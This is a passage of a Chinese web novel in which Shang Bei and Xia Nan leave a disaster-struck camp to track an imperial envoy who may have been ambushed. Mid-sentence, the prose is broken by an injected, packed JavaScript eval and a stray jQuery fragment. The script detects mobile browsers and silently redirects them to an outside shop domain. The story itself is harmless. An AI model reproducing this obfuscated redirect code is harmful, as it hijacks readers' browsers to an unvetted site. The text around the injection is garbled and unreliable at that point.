夏楠怒气未消,他一把拉过尚蓓的手腕,拽着她往营地远处走去。尚蓓被他拉着踉踉跄跄跨过凌乱的土石,险些绊了一跤,又被夏楠的力道稳稳扶住。
“夏楠!”
尚蓓尽量压下情绪,语气却仍难免带上了几分急躁:
“我知道你担心我,但我不是那么容易冲动的人。若真有什么我独自应对不了的危机,我会第一时间自保,不会逞英雄往前凑。你要是信我,就把实话告诉我,咱们一起商量,不行吗?”
夏楠没应她,一直将她拉到营地外僻静处,这才转身停住,冷冷看着她。
“实话就是,有人巴不得灾情再严重些,好打出圣上失德的大旗。钦差很可能半路遭到阻挠,没法及时抵达燕城。现在,你选吧:等发现钦差迟迟未至,再说些空话安抚人心,还是和我一起,去切实调查钦差的行程?”
尚蓓错愕了一瞬,随即慢慢抽回手,捻着下巴深思起来。
夏楠原本的计划只是带她走,却突然说自己要去调查钦差的下落,怎么看都像是因为她提及钦差,故而临时想出了另一个引开她的托辞。
那他真正担心的究竟是什么呢?
立储之际,有人巴不得灾情再严重些……
她和夏楠意外介入,帮助谭铮控制了灾情,安抚民心……
半晌,她指着自己震惊道:“有人想杀我?”
没等夏楠反应,她又摆摆手:
“不对不对,真论重要性的话,他难道不应该先针对谭铮吗?这个节骨眼上,谭铮出事,才更容易引起混乱啊!还是说……他要无差别攻击所有在自发救灾中出力的人?那也太猖狂了吧!”
夏楠面色微变,沉默片刻,才低声道:“尚蓓,你太低估自己了。死一个人引发的绝望,远不如死一个神仙。”
尚蓓眨了眨眼,半晌才领会他的意思,顿时张大了嘴巴。
“你的意思是,我成仙了?”
夏楠一时不知是该气还是该笑。
“一个主事人死了,还能有另一个主事人顶上,熬到钦差到来不算难事。但你寄托着燕城百姓的信念,你出事,灾民的心气立刻就会散去一半,故而针对你事半功倍。”
“不过,有一件事我也没骗你。”
他将手伸入怀中,犹豫片刻,抽出一张字条。
“钦差确实有可能遭到阻挠,但指挥使亲自护送,未必就到不了。你不若同我一道去探查一番,护送钦差稳妥抵达灾区,也好早早了却这桩心事,如何?”
尚蓓没再反驳。她接过字条,见上面写着两个陌生的名字,并两行陌生的生辰八字。
她有些疑惑地抬起眼,正对上夏楠郑重的神色。
“卫大人说,这是他带的‘标记’,让你盯着他们生死。任意一人身死,代表队伍遇到情况,需要支援。二者俱亡,代表钦差已经遇难。”
再次听到这种残酷的安排,尚蓓心里有些发闷。她盯了字条片刻,迅速在脑海中输入信息,见李万和王途两个坐标赫然出现在脑海中,不禁暗自松了口气。
面上却不显,只是将字条递回给夏楠,声音带着些歉疚:
“抱歉夏楠,这一卦,我……算不了。”
夏楠看着她眼底不易察觉的抵触,墨瞳中闪过一丝晦暗。
尚蓓还欲想个合理的借口,却见他微微垂眸,轻声道。
“无妨。那这回,我给你带路吧。”
——
半个时辰后,尚蓓和夏楠各牵马匹立在官道旁,身后是三个随行的番子。谭铮面色里有些不舍,却也明白他们不可能一直待下去,只拱手沉声道:“二位放心前去,营中诸事有我在,定不会出乱子。”
另外几个自发的帮手也纷纷应和。尚蓓郑重叮嘱了几句,几乎把自己能想起的前世的所有卫生安全常识都念叨了一遍,反复确认他们记在心里。
更有不少灾民来给他们送行。尚蓓大多都不认识,但看脑海中聚拢的光标,少说有二十个是在她系统支持下获救的人。
不过,也有几个熟面孔。
“大师大恩大德,草民没齿难忘,来世必衔草结环……”
马福枯瘦的手合在一起,面上满是虔诚,膝盖一软就要往下跪。尚蓓赶紧扶了一把,温声道:
“马大哥大难不死,必有后福。你若有余力,多帮衬着谭公子一些,便是为我等解后顾之忧了。”
那马福连连应下,又絮叨了几句“烧香”“祈福”,便被其它人挤了下去。
在人群后排,一个中年男人面容儒雅,锦袍染灰,却不难看出原本家境。他怀里抱着个小女孩,正依依不舍地向她挥手,赫然便是郑群:
“道长姐姐,你还会回来吗?等我家重修好了,你来我家里做客好不好?”
她话音未落,那中年男人立时便无奈训了她一句:“咱们燕城都这样了,哪里好意思招待道长。尚道长,这孩子不懂事,您莫要见怪。”
尚蓓露出个期待的笑:“贫道云游四方,总会有重到徽州之日。届时,还望郑员外不嫌弃就好。”
也有几个怯怯地凑到夏楠身边,嗫嚅着想说些什么,见他神色冷硬,便缩着脖子着退了回去。倒是有几个壮实的青年互相推搡着上前,其中有营地里负责巡逻的,也有前几日与他一同救人的几位。
最后杜平被推出来,顶着他不耐的目光抱了抱拳:
“夏大人,那个……一路平安。”
夏楠勉强颔了下首,算是回应,随后便扭头继续对秦昕嘱咐着些善后事宜,大致是舆论控制与可疑人员排查。秦昕应得很严肃,不时仔细询问。想到夏楠的消息,尚蓓心中不由得有些凝重。
就算她走了,有心之人或许仍会设法瓦解燕城灾民的秩序,乃至散布流言,只盼秦昕和谭铮等人能顺利撑到钦差抵达才好。
她不由得扭头看了眼寅时。她清瘦的身形端坐在雪灰马儿背上,正闭目养神,身边是另外两个干练的番子,各自乘马护卫在侧。
似是察觉她目光,寅时掀起眼皮,有气无力地招了下手:
“尚道友,回京再见。有劳替我回报师尊,就说我一切都好,不日便归。”
尚蓓轻轻拱手回礼,面上和煦:“寅时道友也要注意身体。”
她和夏楠要星夜兼程,去同钦差一行接头。然寅时精力不济,撑不起这种奔波,故而夏楠另派了人手,安排她缓行归京。
尚蓓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707467|204329||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
稳了稳心神,同面前几个灾民一一作别,便翻身骑上红枣。
夏楠与她交换了一个眼神,没说什么,只扬鞭。
五骑疾驰。
自燕城往外一百里,沿途村镇大多也成了断壁残垣,但随着距离渐远,灾情也有所缓解,路旁已经能偶见零星没完全倒塌的农舍。偶有些草棚搭在土墙外,里面窝着不愿离家的灾民。
也有些小规模的灾民区,大抵是周边灾民自发聚集起来的。尚蓓每见,都停下来嘱咐些卫生安全事宜,再宽慰几句钦差将至,而后便同夏楠继续赶路。
她还路过了徽州余村。虽然这里也已残破得不成样子,到底还能寻到几个游离的村民。
“听说此地有一位姓黄名宏的大哥,他可还活着?”
一个衣衫褴褛的农人看了她周身气度,浑浊的眼珠无力地转了转:
“黄大郎?没见着,估计是没了。”
尚蓓暗暗叹了口气。
如此这般,也消了几个委托。但更多委托并不顺路,她暂时没功夫绕道,便暂时搁置了下来。
“今日在此修整。”
戌时末,夏楠在官道一处岔口停下,在道旁寻了处高地,吩咐众人扎营。尚蓓熟练下马,帮着清理地面,等番子砍来干柴,便蹲身点起火堆,靠坐在红枣背上,摸出干粮啃着。
夏楠在附近巡视了一圈,安排好值夜,挨着她坐下。
“自京城往燕城,必经此路。若无意外,我们明日应该能同钦差一行汇合。”
尚蓓点了点头,意识投向系统。李万和王途两个坐标在北面一百二十里外,此刻亦是按兵不动,大抵也在扎营修整。不出意外,按这个速度来看,确实明日就该相遇了。
她收回神思,扭头问夏楠道:
“那个李万和王途,也是锦衣卫的人吗?”
夏楠沉默片刻。
“是。不过,这两人不是从京贵子弟中选召或世袭的职位,而是从民间遴选出来的力士,没什么背景。此番对他们而言,算是个难得的好差事。”
尚蓓哦了一声,心底了然。
怪不得卫渎带了这二人当“标记”。若钦差平安到达还好,但万一真出了什么事,这两人恐怕会被他毫不留情地抛弃。
“夏楠,你……算京贵子弟吧?你是选召的?还是世袭的?”她试图转移话题。
夏楠微微挑眉,似是有些意外她问这个问题。
“选召的。我十五岁那年,卫所扩招,从京贵子弟中选拔了一批新人,一入卫便授百户。”
尚蓓扁扁嘴,在心里暗暗吐槽了一句关系户。
“我父亲原是西北守将,彼时舅公也属意我子承父业,去西北边军打拼。但我仰慕当时的怀仁太子,硬要去参与选拔。”
“怀仁太子?是……四年前薨逝的那位?”尚蓓依稀想起些民间的传闻,却有些疑惑。“这和你入锦衣卫有什么关系呢?”
夏楠向后靠了靠,仰头望向紫微垣。
“当时陛下龙体抱恙,下旨怀仁太子监国。明眼人都觉得,太子不日便将继承大统。”
“锦衣卫,天子近侍。我当时想,为那样的人当一把刀,便是手染鲜血也值得。”